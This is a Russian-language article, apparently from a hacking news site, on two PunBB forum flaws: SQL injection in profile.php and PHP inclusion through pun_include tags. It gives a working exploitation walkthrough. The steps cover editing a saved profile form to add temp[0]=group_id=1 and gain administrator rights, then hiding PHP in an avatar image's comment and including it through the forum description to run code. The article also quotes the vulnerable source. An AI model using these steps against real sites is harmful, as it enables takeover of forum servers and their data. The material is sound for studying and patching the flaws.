Недавно в PunBB был найден ряд уязвимостей - PHP-инклюдинг и SQL-инъекция.
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Удаленный авторизованный пользователь может
выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в сценарии
'profile.php'. При включенной опции 'register_globals', удаленный
пользователь может выполнить произвольные SQL команды в базе данных
приложения. Существует уязвимость при обработке pun_include тегов. Удаленный пользователь
может загрузить и выполнить произвольный PHP сценарий на целевой системе. 

Разработчики форумов не перестают радовать простых обывателей новыми версиями
своих продуктов, а обыватели в свою очередь ресурсами серверов простых
скрипткидди. Буквально на днях было открыто 2 новых критических бага в
популярном форуме punbb человеком по имени Stefan Esser.
И сейчас я постараюсь объяснить как это всё работает. 

Для начала надо поднять права до администратора с помощью sql-injection.
Открываем в браузере страницу

http://site.ru/punbb/profile.php?id=* 

сохраняем её на винт, изменяем через блокнот строчку: 

<form id="profile1" method="post" action="profile.php?section=essentials&id=*" onsubmit="return 
process_form(this)"> 

на: 

<form id="profile1" method="post" action="http://site.ru/punbb/profile.php?section=
essentials&id=*&temp[0]=group_id=1"  onsubmit="return
process_form(this)"> 

Т.е. изменяем url на абсолютный путь и добавляем
temp[0]=group_id=1. Из кода файла profile.php видно, что массив $temp не проверяется: 

while (list($key, $input) = @each($form)) 

$value = ($input !== '') ? '\''.$db->escape($input).'\'' : 'NULL'; 
$temp[] = $key.'='.$value; 
print "<b>".$key."\n".$value."\n</b><br>"; 

$db->query('UPDATE '.$db->prefix.'users SET '.implode(',', $temp).' WHERE 
id='.$id) or error('Unable to update profile', __FILE__, __LINE__, 
$db->error()); 

Открываем в браузере сохраненный html файл
и нажимаем submit, в итоге мы изменяем значение колонки group_id в таблице users и становимся
администратором. Далее будем использовать вторую багу
- php-injection. 

Эта бага кроется в файле include/function.php 

// START SUBST - <pun_include "*"> 
while (preg_match('<pun_include "(.*?)">', $tpl_maint, $cur_include)) 

ob_start(); 
include PUN_ROOT.$cur_include[1]; 
$tpl_temp = ob_get_contents(); 
$tpl_maint = str_replace('<'.$cur_include[0].'>', $tpl_temp, $tpl_maint); 
ob_end_clean(); 

// END SUBST - <pun_include "*"> 

Скрипт ищет тег <pun include "*"> для загрузки скриптов, но т.к. в строчке 
include PUN_ROOT.$cur_include[1];  имеется переменная PUN_ROOT, то можно подключать только локальные файлы. Для
этого мы создаем рисунок с комментарием в
виде php кода и загружаем как аватар. Далее редактируем, например, описание форума через админку, т.е. добавляем:

<pun_include "img/avatars/123.jpg"> 

Открываем главную страницу форума и вуаля
- скрипт инклудит картинку и исполняет код
из комментария.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии